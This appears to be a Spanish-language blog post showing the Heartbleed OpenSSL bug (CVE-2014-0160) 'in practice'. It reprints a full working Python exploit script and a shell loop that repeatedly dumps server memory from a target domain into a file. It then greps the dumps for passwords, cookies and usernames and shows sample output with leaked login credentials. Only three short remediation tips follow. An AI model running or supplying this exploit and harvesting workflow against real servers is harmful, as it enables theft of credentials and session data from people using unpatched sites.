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Muestra simple y rápida de la gravedad del impacto del bug Heartbeat de una forma 100% practica.

Vulnerabilidad OpenSSL TLS Heartbeat Extension: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

Exploit OpenSSL TLS Heartbeat Extension.

exploit_heartbeat.py

# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]
 
 
#!/usr/bin/env python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support
 
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
 
def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
    return hello
 
def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
 
        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s,create_hb(version[i][1])):
            #Stop if vulnerable
            break
 
if __name__ == '__main__':
    main()

Sintaxis del exploit.

python2 exploit_heartbeat.py dominio.com -p 443

Ejemplo de uso.

while [ true ]
do
python2 exploit_heartbeat.py dominio.com -p 443 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" >> fichero_volcados_SSL
sleep 10
done

grep -i cookie

grep -A3 -B3 -i 'pass\|pwd\|cookie\|user\|admin' fichero_volcados_SSL
 
  0320: 64 39 34 30 30 63 37 37 31 37 39 63 65 63 39 34  d9400c77179cec94
  0330: 64 37 38 30 38 63 37 26 5F 75 73 65 72 6E 61 6D  d7808c7&_usernam
  0340: 65 3D 62 72 69 6E 74 68 6E 65 79 63 6F 6E 79 6A  e=brinthneyconyj
  0350: 65 6E 6E 79 26 5F 70 61 73 73 77 6F 72 64 3D 31  enny&_password=1
  0360: 30 32 30 32 30 30 32 26 5F 73 75 62 6D 69 74 3D  0202002&_submit=
  0370: 45 6E 74 72 61 72 B3 27 13 EA C3 1D D1 2A A8 BA  Entrar.'.....*..
  0380: 31 C4 B3 23 C4 75 28 29 7D 65 6C 73 65 7B 74 68  1..#.u()}else{th
--
  0320: 65 64 39 34 30 30 63 37 37 31 37 39 63 65 63 39  ed9400c77179cec9
  0330: 34 64 37 38 30 38 63 37 26 5F 75 73 65 72 6E 61  4d7808c7&_userna
  0340: 6D 65 3D 62 72 69 6E 68 6E 65 79 63 6F 6E 6E 79  me=brinhneyconny
  0350: 6A 65 6E 6E 79 26 5F 70 61 73 73 77 6F 72 64 3D  jenny&_password=
  0360: 31 32 33 34 35 36 26 5F 73 75 62 6D 69 74 3D 45  123456&_submit=E
  0370: 6E 74 72 61 72 C1 18 77 63 C1 27 31 F2 0F 07 45  ntrar..wc.'1...E
  0380: 1B F6 85 5E 19 00 00 00 00 00 00 00 00 00 00 00  ...^............

Recomendaciones.

• Actualizar la versión de SSL.
• Crear / solicitar nuevos certificados.
• Cambiar todas las passwords.